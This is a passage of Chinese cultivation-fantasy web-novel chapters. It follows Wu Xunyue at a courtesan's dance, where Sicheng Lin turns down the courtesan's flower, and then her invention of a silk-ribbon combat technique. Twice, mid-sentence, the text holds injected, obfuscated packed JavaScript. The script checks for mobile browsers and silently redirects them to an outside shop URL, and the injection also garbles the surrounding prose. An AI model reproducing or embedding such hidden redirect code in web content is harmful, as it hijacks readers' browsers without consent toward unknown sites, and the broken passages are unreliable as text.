在座一片皆面露惊色:“四年级?那岂不是天纵之才……”“四年级便接见,可是超七重灵了?那现在可已是真灵?” 巫寻月莞莞一笑,道:“各位公子莫要抬举我了,我不过是运气好而已,毕业大考未到,一切尚未可知。” 有人接:“运气乃强者谦辞,想必明年的毕业大考,有重头戏可看了。” 这声音沉稳如高压,巫寻月看向那人,他目若朗星,轩轩韶举,言笑间温润如玉,神貌与他所言极为相配。既接了她的目光,他便开口介绍道:“燕云停,九部令间令,控制系灵师。” 巫寻月一怔,目光便停驻了,与燕云停继续相对。她自是为了“九部令”三字,而这衔级,就业指导课上也已讲过,真灵级灵师的衔级为长令、间令、少令,虽同为真灵级,修为实力却也是有差别的,部内每年都会有席位赛,打败三位高衔级者则能晋升。巫寻月没忘记当年为她签批路引的玄麒为九部令长令,而眼前这位燕云停是间令,便是比玄麒要低一级。 可她的目光落在燕云停和其他人眼里,意味可就不同了。枫若恒似有意会,快意继续介绍道:“燕家出过数位封号灵师,燕大少爷在我们这一辈里也是超群得很啊,去年二十二岁入真灵境,这才一场席位赛就打到间令,真是让我等汗颜。” 一旁有人瞧出了这话茬,闹了起来:“燕云停你小子,就这么趁机把自己都介绍完了——学妹好,我是凌商,七部令长令,强攻系灵师。” 燕云停寥寥一笑,给他让场:“好好好,你是在座衔级最高者,自该你先介绍,是我失礼了。” 一片哄笑间,枫若恒出来主持道:“好了好了,大家先落座吧,坐下慢慢聊,可不能让二位姑娘一直站着。” 巫寻月同他们一起笑,随后被引导至座位旁,就在她要落座的一瞬,余光不经意瞥向一处——却是绝不会被她忽视的存在,她愕然定神,不远处的窗棂之下,司城凛与梅见蹊相对而坐,梅见蹊背对着她,而司城凛……则是与她相对。 他今日着金底压玄边交领中衣,外穿玄金暗绣交领长衫,似乎自他继任以来,外出便皆以广袖示众了,甚至让她生出一种错觉……那年垩山花海间,那个一袭劲装身长如玉的男子,究竟是不是他…… 司城凛正垂眸品茗,并未在看她。而那座位朝向舞台正中,是全蘩楼最最尊贵的客位所在。 巫寻月莫名想起来慕丹青说……“你可知道那花魁今夜可是要花落某个世族贵子家中的……” 慕丹青在她邻座,很快就发现了她的呆滞,一抓她的手,竟在微颤。慕丹青关切道:“怎么了?” 巫寻月倏然回神,心跳已然无法平静,却竭力让自己冷静些,随她坐好:“……没什么。” 枫若恒这座位安排得真是好啊,如同当日司城凛为狄乐凰和言萧鹤安排的那样,现下,司城凛能望见巫寻月的侧脸,巫寻月却没对着他的方向。 梅见蹊虽不在看司城凛,却也知道他心思不在这,一边吹散茶汤热气,一边慵懒而又戏谑地道:“你现在知道,我为何要坐这里了。” 司城凛没说话,目光所向,自然没有辜负梅见蹊的有心安排。 可巫寻月可是半点也不自在了,脸上也不再有笑意。她不想装,不想像他一样装看不见,也不想像他一样装无所谓,恼便是恼,怨便是怨,在意,便是在意。 所幸枫若恒结交的尽是良友,虽注意力多在巫寻月身上——当然了,他们也不能多看人家嫂子,但这是枫若恒和慕丹青的主场,便也没围绕巫寻月为题。 后来上了酒,巫寻月便有了借口自顾赏酒,偶尔陪一声笑,也未失礼貌。 夜幕全然落下,灯火万丈璀璨,楼下乐曲弹奏声戛然而止,宾客们纷纷往楼下看,气氛轰然涨起,该是花魁要上场了。 巫寻月目光转向的一瞬掠过司城凛,他倒是未动,好整以暇般端着茶盏,不知道的还以为这不是风月酒楼,而是他的公文案所。 掌柜大官人出现了,向诸位来宾表示敬意,先介绍了些蘩楼今日新酒新菜,最后隆重推出今年花之魁首香影,蘩楼上下喝彩声连成一片。掌柜退场之后,凌烈舞乐骤起,先是两列身着统一浅赤色华服的舞姬交替登台,舞疾人魅,想来也能从这开场中窥见一二,今年这香影花魁要作何风格之舞了。 众人目不转睛,皆怕看漏了花魁出场瞬间,随着鼓点越发密集疾烈,就在这如虹声势之间,乐声倏忽一转,无数柔美华缎自天顶落下,尖叫随之高涨四起,甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知什么时候,燕云停已来到巫寻月身边,低声近她说:“那是我司城封座,不知你可已见过,司城封座貌若天人,名震青史,他难得来赏一次花魁作舞,花魁钟情于他倒是不奇,可不知封座大人是否也是为她而来的……” 巫寻月听得心惊肉跳,若是不施粉黛,必然已暴露苍白之色。 香影刚站定时,司城凛并未看她,只是眼帘微动,直到她真的屈膝在他跟前,他才看了过去,目光交汇之后,香影这才开口:“公子今夜到这蘩楼来,香影荣幸备至……” 慕丹青在一边轻哼:“还唤公子,这红尘女子倒是有情趣得很,若说她不知司城封座的身份,此举无掌柜的授意,谁信呢?” 话到此处,香影从发髻上取下那朵赤红妖娆的簪花,缓缓递到司城凛面前,媚眼如丝地道:“花枝堪折直须折,莫待无花空折枝,奴婢愿将此花献于公子,还望公子……莫要辜负鲜花韶华。” “哎疼——”慕丹青诧异地看向自己被抓疼的手,再连着看向手的主人巫寻月,只见她面如死灰,却又好像……眼泛泪光。 巫寻月浑身血液仿佛逆流回心脏般,冻得她四肢冰凉。 低微的起哄之后,四周又归于安静,众目睽睽,都在屏息期待司城凛的回应。 50. 第 50 章 只见司城凛目光从香影指尖那抹惹眼的红,利落地移到她含情带怯的眼眸上,唇角微动,牵出一抹极寡淡的弧度。他并未去接那朵花,而是执起桌上温好的玉壶,往一只空杯缓缓倒酒。 “香影姑娘的好意,在下心领了。”司城凛声音清冽,如玉石相击,瞬间划散了迷离于周遭的暧昧。酒杯已满,他放下玉壶,将杯盏推至香影面前,道:“鲜花若折下离了枝头,也不过绚烂一瞬,未免可惜,倒不如让它依旧绽于云鬓之间,方能时时衬出姑娘风华。” 话音落下,香影惊愕之色难掩,在四周窃窃私语之中,她并未接过杯盏,可司城凛随即又为自己斟了一杯,接着道:“姑娘今日一曲惊鸿,想必已是劳神费力……” 司城凛端起酒杯,看向她,眼神清明,不带一丝欲念,道:“在下敬姑娘一杯,聊表钦佩。” 虽说的确从未经历过遭人拒绝,心有不甘,但眼前这位之尊贵,却是她万万得罪不起的。香影已顺势收回簪花,展颜一笑,却是有几分苦涩与自嘲,她只得接过那杯酒,举杯相敬,道:“公子……真是怜花之人,是香影唐突了,能得公子一句可惜与这一杯慰劳,是香影之幸——公子,请。” 说罢,她仰头,将杯中辛辣一饮而尽。 巫寻月紧绷之心,这才稍稍松懈。她怨气沉沉,已经想走了,可抬眼环顾四周,路被燕云停堵死,若要出去,只能是往司城凛的方向。 枫若恒在一线看了场好戏,既惊讶又戏谑:“真不愧是司城封座,竟拒绝了花魁?” 燕云停也觉得颇为有趣,摇摇头道:“我观封座大人三四年,他就像一座密不透风的墙,没有弱点,没有短板,甚至没有欲念,就好像只是带着使命活着,一丝不苟地履行一切职责,这样的人物,可怕极了……” 凌商摸着下巴,也调笑道:“是啊,司城封座到底会心仪什么样的女子啊……” 说话间,香影袅娜身影已缓缓站起,虽有片刻僵滞,但这点场面她还是能应付得来的。她转身之时,愕然之色已化作了然自若,那持花之手再度举起,动作依旧优雅,却少了几分方才刻意的风情。 “公子不愿鲜花短暂折枝,只愿开在云鬓,韶华常在,”香影举花环视一周,最后将目光落定不远处那凭栏的女子身上,“既如此,这花该献于今夜最美之人才是。” 一片哗然间,香影已朝巫寻月走来。而燕云停听了她的话,薄唇一弯,主动给她让了路,让巫寻月就这么全然展露了出来。 香影来到巫寻月面前,躬身为她献上簪花,温柔一笑,道:“姑娘今夜一到蘩楼,香影暗中望见,就挪不开眼睛了,若不是亲见,断不敢相信人间竟有如此绝色。如若姑娘不嫌,香影愿将此花赠予姑娘,以衬姑娘倾世之容。” 巫寻月有片刻惊讶,但面上始终坦然得体,她大方地接过那赤红簪花,道:“得香影姑娘欣赏赠花,是小女荣幸。花该开在云鬓,可香影姑娘肯割爱,让自己云鬓空寂,小女不忍……” 巫寻月摘下自己发髻上那朵姚黄簪花,递到了香影面前:“此花之色与香影姑娘今夜所着华服虽不相称,却也能以撞色别出心裁,还望香影姑娘笑纳。” 在场如潮水般涌起了热烈的欢呼与掌声,只见二人互道敬意间,已欣然相受,香影收了那簪花,向巫寻月行礼,再后退向众人行礼,便转身下楼去了。 司城凛全程目不转睛地看着这一切,别无多余神情。宾客陆续回到座位,巫寻月一抬头,目光下意识就看向司城凛,这一次,他没有躲开,就这样直接地,与她隔空对望。 她的心猛地掉了一拍,胸中再度缺氧,呼吸也变得急促了。 他的眼神完全变了,原只是发型、着装变了,可现在,就连眼神,也完全变了,变得极度地沉静冷彻,深锐如万古寒渊,只看一眼,便如临审判之危,令人胆寒生畏。若说那年在山谷花海间修炼的他还有几分傲然少年气,如今的司城凛,完完全全就是天威的化身,全身都透着磅礴的压制。 甚至,让巫寻月想起当年调侃他长得好看,想来都有一种摸了狂兽胡须的后怕之感。 她在他的眼神里,读不到任何一丝熟悉,任何一丝情感,仿佛那是威严万丈,却又仿佛……什么也没有。 而司城凛眼中的她就不一样了。她也变了,不再似那山间少女那般肆意洒脱,无拘无束,不畏天高地厚,不知世外深远。她变得谨慎,克制,隐忍,眼中因有欲念而动容,心里因有向往而顾虑——而这一切的欲念和向往,全都是他。 但她也有一点没变,她敢爱敢恨,不遮不掩。这样带有怨气的眼神,司城凛生平还从未见任何人敢向自己展示。 打断他们对视的,是燕云停突兀的声音:“——寻月,回去了。” 巫寻月恍惚回神,抬头看他,莫名烦躁极了,竭力压着气焰,说:“我……我得走了。” “什么?现在吗?”燕云停略有惊诧。 巫寻月不做解释,扭身就要下楼。慕丹青听见了,上前抓住她的手,问:“你要走了吗?去哪?” 去哪?巫寻月眼神蓦地一定,似战鼓击响,燃起熊熊火焰。她开口时,已然铿锵有力:“丹青,陪我去个地方。” 司城凛看着巫寻月把慕丹青拽下了楼,留那几人在身后面面相觑。 那边动静不小,梅见蹊顺着回头一看,看戏般一笑,幸灾乐祸道:“司城凛,你以后麻烦可不小。” 巫寻月扯着慕丹青一路出门,也没看往哪个方向,一头扎进大街上就大步流星。走了没一会儿,她突然停下来,把那红簪花拍到慕丹青手上,说:“这簪花,给你吧。” 慕丹青与她相对,问:“怎么?你不喜欢?” 巫寻月气鼓鼓的,别过脸去,奶凶奶凶道:“这是那女子心爱之物,我不忍扔了。” 慕丹青觉出不对了,嘴角一勾,道:“怎的好像你对那花魁有气似的?难不成是见她邀请司城封座共度良宵,你吃醋了?” “是啊是啊,我就是吃醋!”巫寻月肆意说了真话,使劲往地上跺脚,“我都快气死了!” “你也别气,司城封座不也拒绝了吗?”慕丹青怎会当她认真,顺着她就起哄,“且她随后便把花转送给你,司城封座定也看见了,说不定发现你竟比那花魁还倾倒众生,心想还好拒绝了呢。” 巫寻月咬牙切齿:“那我真是谢谢他。” 慕丹青一把揽过巫寻月的肩,一道往前走,半开玩笑却又半认真道:“虽然司城封座不是仅会为姿容所动的男子,但我寻月性情可人,又如他一般是天纵之才,司城封座难免不会心动。” 巫寻月想也不想就说:“他最好真的是!” 慕丹青一阵笑闹,而后又神色一定:“说到这里,我倒是突然想起来,怎么后来都不见你提你那心上人了?你不找他了?” 她可真是哪壶不开提哪壶啊,看似说了几个人,实则就只是那一个人。巫寻月又猛地停了下来,暴躁地挥手乱舞:“找什么找?我再也不要理他了!” “你可终于想明白了!”慕丹青看起来欣慰极了,由衷地说了下去,“我就说嘛,什么‘你若来神都我们还能再见’,又不告知你姓甚名谁,如何寻到他,空留一句‘自会知道’,这不是妥妥的诈骗嘛,定是当场哄你逗你玩的,扭头早就不记得你是谁了,这种渣男,我……哎哎哎,你怎么了?怎么真哭起来了?” 巫寻月突然趴在慕丹青肩头嚎啕大哭,简直要被她气死了:“啊啊啊慕丹青,我讨厌你!” 慕丹青丈二和尚摸不着头脑,十分困惑:“怎么一会哭一会怒的,往日也没见你有过如此刁蛮啊……哦哦好了好了,不哭了啊……” 慕丹青才要轻拍她的背,巫寻月“蹭”一下抬起了头,又吓她一跳。可巫寻月的眼神出奇地坚定,开口虽带哭腔,却十分沉着:“丹青,我不哭了,我现在有更重要的事。” 巫寻月问慕丹青离这里最近的训练场在哪,慕丹青抬眼瞭望,眼看前面的小路可钻进灵谕大街,沿着墙角下直线穿行斜门相对的四部令府与九部令府,就可到达最近的训练场。 巫寻月以为自己理解错了,确认一遍:“所以最近的训练场,在九部令府后面?” 慕丹青在脑海中演绎一遍,确凿无疑:“没错。” ……真是天意弄人。 去就去吧,反正他又不在,这会又不知道搁那跟哪个花魁花前月下呢。 巫寻月动身了,一个闪身消失在空气中,慕丹青赶紧也追上她。这是慕丹青第一次直观感受到自己与同龄真灵级灵师的差距,饶她已入列三年,训练也不曾懈怠,但终究灵力基底落后,实难追上巫寻月了。原还想在路上问她到底要去干嘛,现在看来……是她多想了。 巫寻月虽是第一次走这条路,但据慕丹青的描述,该是直线走到底,并不难认。 这是巫寻月第一次以这个视角来到内城。上一次如此俯瞰神都城,还是在六年前入学之前所看的那本《神都制式》里,书中所画,内城与都城以护城河分隔,而灵谕大街与护城河并行,各府邸分于两侧,各处明晰。如今亲眼所见,却才发现并非 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如同十部令府随处可见的莲花雕纹,九部令府的院墙之上,镌刻的是负屃图腾。一入府门,宛如进入了一座水上之城,楼阁檐廊之外,全都挖成了水池,各处功能区之间以无数连廊栈道相连,且亭台轩榭星罗棋布,池中虽不像十部令府那样种满莲花,这四通八达的水网看着却比十部令府还要发达广阔。 巫寻月原还惊讶为何建以水系为主的格局,随即想透——这不正是复原“凌海城”吗,龙生于水,继位大典上司城凛的礼袍也是一幅负屃凌海图纹。 穿过前院,廊腰缦回深处,水池环抱之中,一座重檐庑殿顶建筑悄然静立,玄青色瓦顶如垂天之翼,沉静地镇住整片水系。 巫寻月猜,那是他的书房。她忍不住多停留了片刻,才继续往前,来到后院大片的府舍所在。传闻都是真的,九部令部众的住所,真是比其他府邸要宽敞显阔,屋子宽敞也就罢了,前后竟还分别有个院子,前院多种花种草用以休闲,后院晾晒衣服,堆放杂物。 ——羡慕啊,真羡慕。来自神都学宫本届毕业生排名第一的羡慕。 巫寻月当然是想过这个问题的——言萧鹤拒绝狄乐凰于情于理都是有理由的,可司城凛没有,她若投报九部令,她猜他不会拒绝。但,她也不会如此。 和四部令府一样,九部令府往后也再没了院墙,再过一道水渠和一片小树林,便迎来了一片开阔的训练场。巫寻月落地站定后等了片刻,才听到慕丹青落地的动静,她略有喘气,心悦诚服:“好好好,不愧是真灵,老娘我拼了老命也是没追上……” 巫寻月在观察场地,没做回应,慕丹青慢慢走到她身边,这才问:“怎么突然想到要来训练场?” 此处唯有依稀月色与寥寥灯火相映,一片昏暗之中,巫寻月神色肃正,锐利如鹰。她开口时,沉冷得吓了慕丹青一跳:“我想到了控制系必杀技的入境之法,想前来试试。” “什么?这么突然?怎么想到的?” 巫寻月看似出神,脑海中却清晰回映着今日花魁之舞那漫天辉扬的丝缎——自然她也没忘记那花魁后来夺夫之仇,但终究她一笑了之,道:“还真得谢谢她。” 巫寻月提了步,一边往前走,一边斗志昂扬地高声说:“丹青,从前是我想错了,我一直在尝试驾驭风暴雷霆这样宏大的天象,即便慢慢有所怀疑这根本不是我所长,却仍不甘心,而一直忽略了我真正钟情的、擅长的,也更合适的意象。” 巫寻月离了有段距离,才转过身来,继续说:“天象太过罡烈,与我性情并不相合,与我灵脉根基也不相融,因此在我内心深处始终与之相抵,而灵力不愿违心,所以这么久以来在我运灵尝试以风雷生成必杀技时,始终无法酣畅地调运灵力。” 慕丹青也随她抬了声:“那你当初是为何要以风雷为术法意象呢?” 其实原因有二,其一是因为司城凛,她看他练了两年,那些场景早已烂熟于心,记忆犹新,钟情于他,又怎会不想与他练出同样的术法意象呢。其二是因为小白,巨翼幽虎灵脉五行属金,是绝对的罡风术相的掌控者,她长期与小白一同修炼,自然也潜移默化认为自己学起来容易些。 可她和他们,终究不一样,司城凛拥有司城家传的雄浑灵脉,灵流爆裂,是天生的大开大合术相根骨。小白自是更不用说,她拥有的是天地神力,是原始洪荒,根骨非人类所能攀仰,更遑论学习模仿。 而她自己,她是草木之灵,柔韧治愈是她的本源,经数年与罡烈之气碰撞融合,已然幻化为以柔克刚——这才是她巫寻月的灵脉之相。 但这些,她都不能说。巫寻月已经释然,一笑道:“怪我无知,没能看清自己。” 慕丹青接着问:“那今日,你悟到了什么?” 51. 第 51 章 蓦然间,巫寻月眸中沉寂的灵光骤被点燃,她声线温甜,却充满力量:“于我而言,真正的力量并非外界狂暴,而是向内寻求掌控自身所爱、自身所长——今日我观香影姑娘作舞,如此轻盈柔美的绫罗绸缎在她掌控中竟如武器般力量磅礴,我便突然心想,我素来也喜欢绸缎裙裳,以至于学起月流裳几乎是手到擒来,得心应手,那么——我何不尝试也造出自己的月流裳呢?” 慕丹青如听美好诗文,心中动容无比,由衷为她感到高兴。她仔细为巫寻月考量后,说:“你可知月流裳何以为高级防御类控术?就连我六部令中许多人也不能驾轻就熟,月流裳其形态过于柔韧,需要灵师本身以极其强大厚实的灵力催动,方可变为铜墙铁壁,如若不然,便也就只是如其形般脆弱柔软了。但寻月你没想错——这术法意象的确适合你,我还从未见过如此唯美的控制系术法意象,我相信你必能悟成,名震神都。” “我也只是先试试,来证实我的想法,”巫寻月表情并不轻松,她嘴唇一抿,定了神,“我开始了。” 话音落下,她人还未动,灵力先动,周身空气轰然震荡起来,那不是风,而是纯粹的扭曲,散逸的灵力急速扰动了空气,使她周身之景变得摇曳、震颤,从外观之,如同望着一团升腾的烈焰。 接着,她双手抬升,动作缓慢而不拖沓,细腻而不软弱,动静交错,虚实相合,如抚无形之琴,弹奏出一曲抑扬顿挫、起承转合之乐。灵光渐渐在她周身散逸,如遥远天幕中骤闪的星星,在一片漆黑之中光芒四射。 下一秒,她眼神赫然一定,双臂铺展间,一道银灰色灵缎飘然铺展,盈盈浮动。银灰色——是月流裳的银灰色,初次尝试生成灵缎,她还是先以月流裳为引。 再下一瞬,她面色陡转狠劲,右臂一甩,更长的灵缎凌疾而出,随她转动身体而在她周身盘旋围绕,突然她双手一收,所有灵缎瞬息寂灭。再接着,她最终蓄势爆发,仰头展臂的一瞬,十数张银灰色缎带从她身后扬长生出,升起数仞之高,如天使之翼,华丽而梦幻。 巫寻月的灵缎羽翼点亮了这一方偌大的训练场,慕丹青还在沉浸惊叹于这瑰丽之景,只见下一瞬,她眼神陡转狠厉,那些轻盈舞动的灵缎,顷刻如被激怒的狂兽般骤变张牙舞爪,面露杀意,猛虎起跳般直扑她来。 利刃般的丝缎无限延伸,铺天盖地,慕丹青心领神会,以劈掌起势,手势辗转间灵流涌起,就在那利缎俯冲至她的瞬间,向后弹开急速倒退,同时,无数道金光利箭从她周身发出,冲向那丝缎予以回击。这是高级攻击类控术——贯日矢。 就在锋缎与利箭相撞的瞬间,花火四射,发出金石交击的刺耳锐鸣,光箭试图撕裂缎浪,而柔韧丝缎竟如道道漩涡中伸出的触手,翻卷间便将将道道金光生生扼灭。 起初,慕丹青的贯日矢尚能与之分庭抗礼,金色箭雨与银灰丝缎在空中反复碰撞、撕扯,构成一幅狂暴而绚丽的画卷。但逐渐,那些更具主人灵识的丝缎仿佛已评断出对方战力并作出调整,不再硬碰硬,而是以柔克刚,如流水般贴附着光箭,任其如何锋锐,皆被无尽的柔韧所吞没。 夜空之中,箭雨肉眼可见地稀疏下去,慕丹青被逼得一路后退,心中略有收紧。终于,独余的几支光箭在缎浪的缠绕下发出最后哀鸣,黯然消散。 ——不妙!慕丹青胸中警铃大作,还欲变招,那丝缎却毫不停滞,不依不饶,瞬间便缠上了她的手脚与腰身。她只觉周身一紧,整个人已被彻底捆定,下意识地挣扎,那束缚竟更霸道地发力扼紧,让她胸口发闷,呼吸骤然变得艰难。 慕丹青放弃了最后抵抗,刚要开口叫屈,周身扼力却突然尽数松懈了,丝缎顺滑地从她身上散开,开始后退,已然褪去张扬攻势,于空中轻柔飞舞,尽显华美本色。 待慕丹青解放落地,抬眼看去,巫寻月正笑靥嫣然地朝她走来,漫天丝缎如潮水般退回她体内,重新化作她身后的温顺羽翼。 慕丹青正大口喘气,巫寻月还未走近就关切道:“可有伤到?” “想美事呢你!”虽是驳斥,慕丹青脸上却扬起兴奋的笑容,“这术法还未到真灵级威力,且还只是初试,就想伤我?” 巫寻月忍不住了,冲过来一把将她抱紧,大喊道:“丹青!我是不是成功了?” “是啊,甚至比我想象的还要绚烂强大,”慕丹青由衷钦服,惊叹道,“原以你的描述,加上受月流裳的影响,我想来这术法多还是防御之用,以配合你施展医术,竟没想到是如此霸道的攻击与封印,以方才与贯日矢相斗之力,断也是一道强悍的防御屏障,这灵缎结合了攻击、封印与防御——巫寻月,你厉害死了!可真是货真价实的控制系必杀技。” 巫寻月开心极了,甚舍不得收回那些灵缎,放开慕丹青后向外跑去,尽情与那些飘舞的灵缎嬉戏玩闹,笑声如山涧清泉,清灵纯澈,天真无邪。 “丹青你知道吗,虽然只是第一次施展她们,我却觉得与她们相识已久,心有灵犀,”巫寻月正在她面前旋转撒欢,那些灵缎也调皮地一下下冲击她,与她玩闹,“相比起之前操控天象,真是通畅极了!” 慕丹青抱胸看她,笑道:“你该给你的必杀技想个名字了。” 夜色溶溶,远处的灯火星星点点,仿佛是这支华丽舞戏的幕景陪衬。稍远处的阁楼之上,凭栏立着两道挺拔的身影,既是舞戏,又怎会缺了有心的观众。 梅见蹊收回视线,脑袋一歪,好奇地观察近旁那张凛若寒冰的脸,道:“你怎么知道她要来练这个?那罡灵坠还能给你通消息?” 司城凛凝望着月色下巫寻月如孩童般玩闹的身影,没有很快做声。这一刻,她好像回到了那片遥远的花海,变回了山野间那个烂漫的少女,没了一切烦忧。 若她在神都能一直这么快乐,就好了。 良久,司城凛才动了唇:“她今夜并未佩戴罡灵坠。”说着,他将自己的罡灵坠取出,那灵石安静地躺在他掌中,未有一点感应的迹象。 司城凛继续说:“她将这术法练成此象,全凭她本心意志。” “不得了,司城凛,”梅见蹊惊叹相视,表情夸张极了,“你与她才见了两面,就能断出如此天才,原先我还当你情智未开,原来竟是目光如此毒辣。” 司城凛自然不会搭理他这种废话。 梅见蹊也不在意,兀自纵声大笑,后又问:“若她真修成双修系,必定不像乐凰当年那般浅浮不稳,屈居第二,她志愿若选九部令——那你是?” 恍然间,司城凛才想起来,当年狄乐凰的确对他说过:“寻月也会这么选的,你相信吗?” 先不论信与不信,当时的他并不认为这个问题有何意义,可竟没想到世事流转,一语成谶,她最终还是走上了狄乐凰所走的路。而他当年自诩的“她和你不同”,到头来也变成了上天对他的嘲讽。 当时他说,“这对我们都好”,狄乐凰哂笑道,“言萧鹤也是这么说的”。他没有后悔对狄乐凰说的那些言之凿凿的大道理,他没有一刻敢忘记自己最重要的责任,可若是问他有没有愧,有没有悔,他无法回答。 他只别无选择。 梅见蹊都以为司城凛不会回答了,忽然他眸光一沉,道:“她不会选九部令。” “这么肯定?”梅见蹊真是奇了,“你们真六年没联系吗?” 这一次,司城凛是真懒得理他了。 “没意思,”梅见蹊回身往护栏上一靠,意兴阑珊道,“我还等着看你找什么理由拒绝呢,她这术法集攻、防、封于一体,完全契合大型战场之向,且若真能练成她的必杀技,史上唯一的控制系医疗系双修真灵毕业生,天听阁都要过问她的毕业去向,我看你这个主掌大型战场的九令封座要如何拒绝——总不能像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864451|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言萧鹤那样冠冕堂皇,是不是?” 可能是见他话多,司城凛开恩赏了他一句:“若她真选九部令,我不会拒绝。” 梅见蹊觉得,自己一天天的被这俩人当风族人整。 暑假结束的最后一天,在小白夜以继日的帮助下,巫寻月最终练成了控制系真灵级必杀技。那时是日暮,她灵爆飞升,入真灵境,因之前已以医疗之术飞升,算是经历过了那种震撼,这次飞升,她反而平静了许多。 甚至,她抱着小白嚎啕大哭起来。这一刻,她更懂狄乐凰了,所以,纵使无力,她真的没有办法劝她忘记,劝她释怀。 “小白你知道吗,其实在今天之前,我时不时都还怀疑这一切是不是真的,”巫寻月躺在小白肚皮上,翘着二郎腿仰望将夜,“因为呢,从七重灵到九重灵,我的身体没有太大变化,我不太能像其他同学那样明显感觉到自己变强了,这六年里我学会的一切灵术,都好像只是……在恢复我的本能,好像是我本来就该会的,只是忘了而已,所以我无论学到什么,都没有一种发自内心的得到与满足。” “直到今天,我终于可以有底气说……”巫寻月将双手置于嘴边,放声大喊,“——我巫寻月是一个真真正正的灵师了!” 但很快,巫寻月升真灵境的第一个受害者就出现了。晚些时候她离开山谷,才出山口,就看到路边昏倒了一个小孩儿——是面铺葛大叔家的孙子! 巫寻月赶紧上前诊脉,竟发现……他是被她的灵压震晕的。巫寻月赶紧助他苏醒,随后慌忙赶回城中,却发现一切太平,百姓们如常走街串巷,一派祥和。 她在原地自嘲大笑——想什么呢,区区一个真灵而已,怎么可能像司城凛一样,灵爆将十数里外全城人都震晕了。 在神都学宫的最后一年,巫寻月用遁术从邬戍城一路疾驰到神都——最后一年开学了,总得试试吧。结果是,紧赶慢赶加上调息,怎么也还是要两天。 原先和朝黎约定,朝黎在都前驿秦艽的铺子等她——去年秦艽就攒够了钱,盘了间店铺下来,再也不用支个摊子了。可巫寻月到那的时候,却没见朝黎人影。 秦艽说:“朝黎?她一早就来学校了,先到我这来了一趟,让我晚些时候给她煎个大饼子,然后就上山去了。” 巫寻月是前日午后出发,此时也是午间。朝黎这厮,怕是以为她要晚上才到呢。 当巫寻月拿着秦艽煎好的大饼来到朝黎宿舍往她脸上一砸的时候,朝黎震惊得目瞪口呆:“——你怎么这个时候就到了!” “……整整两天了诶,这很快吗?我还觉得慢了呢。” “……你这距离,十部令的真灵级灵师,一般都得两天半,慢些的还要三天呢,只有身经百战尤其遁术上佳的才能达到两天,你——” 巫寻月难得嘚瑟,掐了她的话:“小看谁呢?竟把你寻月姐姐和一般真灵放在一起?” 朝黎无话可说。 坦白自己已入真灵境这件事,是在上学期期末的时候——她是说医疗系真灵。就要七年级了,老师自然重点关心巫寻月的情况,她也觉得是时候了,免得老师们提心吊胆暑假和开学还要唠叨。 坦白之后,现在她是彻底舒服了,明线任务和暗线任务皆圆满完成,她整个七年级即将无所事事。 可七年级的开学典礼,就显示出了不一样。事实上,这七年里,梅宴晷就出席过两次开学典礼,如学校无重要变动,比如来了新老师、课程改革、新增校规等,他一般不爱搞开学典礼,他很不喜欢在大庭广众下发表长篇大论,每年的毕业典礼他不得不演讲一次,那已经太够了。 梅宴晷在会上说,这是和平期的最后一年,明年风族首尊之位易主,换由传承派轮值,或许两族将迎来另一番景象,长隐洲也不复如今这般平静,还望今年的七年级、明年即将入列的毕业生,早做准备。 52. 第 52 章 梅宴晷此言如陨石重击,往场下天真烂漫的孩子们心底砸出了一个大坑。话音一落,议论四起:“不会真打起来吧?我怎么这么倒霉?” “那是不是更要慎重选择去向了,十一令中哪一令……不那么危险啊?” “你这是怯战?我族怎有你如此之辈?” “真想上战场为我族效力啊,可是听说开战并不会派遣当年毕业新生,唉……” 怕死拒险是为本能,可灵师中的更多人却受代代熏陶,已将生死置之度外,而将灵族生存放在第一,灵师之备受尊崇,正源于此,灵族崇武,也源于此。 到底如今海晏河清,四海升平,社会生活甚至比几年前还要繁荣清明——这大多归功于司城凛继任后的一系列改革,五大宗族同气连枝,休戚与共,自然不会独司城家有所动而其余无动于衷,即便他们不动,一旦司城家动起来,慢慢也会渗透进其他领域,让他们不得不动。所以,在五大宗族一同发力下,社会气象蒸蒸日上,空前繁荣。 所以,梅宴晷那番箴言,也不过是当场有些震慑,等一散场,大家还是该干嘛干嘛去了。 晚上慕丹青来找巫寻月散步,巫寻月顺便问她:“上一次好战期,是什么样的场面啊?” 慕丹青说:“那时我还小,很多事也是后来听家里人说的,好像好战期第二年风族就对山海洲展开攻击,乔姬封座一战成名,至今无人撼动。还有八部令在一次突袭战役中损失惨重,上一任八令封座也被认为战略失误,所以他被言封座打败之后很快就主动退位了。当然,最大的事还是司城封座——我是说上一任司城封座,那场战役风族派出精锐主力,攻势十足,神都一度因此动荡,天听阁最终决定派遣九部令迎战,同时十部令几乎全部精锐也一同辅战了。” 巫寻月有些不解:“可又说三部令才是集结最强控制系灵师的队伍啊,若是战时这种阵仗,为何不派三部令?” “我后来也问过我爹这个问题,我爹说,三部令的灵师各有所长,集结的是各个方向的顶级强者,而九部令的灵师更加全面开花,综合作战能力更强,所以才主掌大型战场,九部令也被称为灵师精锐中的精锐,”慕丹青看向她,话锋一转,“其实你那日首次施展那灵缎,我突然也有此想法了——如此攻防封一体,你该也适合九部令。” 巫寻月险些一口呛住——真是吃瓜吃到了自己头上。她当即变了脸,喝道:“我才不去呢!” 慕丹青很是莫名其妙:“为什么?你之前不是一直嚷嚷九部令条件好月例丰厚,非要去九部令不可吗?” “……” 所幸她们很快回到正题。慕丹青说,上一轮好战期最重大的事件,就是九部令遭遇风族精锐伏击,司城靖为力挽狂澜,挽救更多部众的性命,最终中伏,被毒所伤,也因此落下病根,一蹶不振,最终英年早逝了。 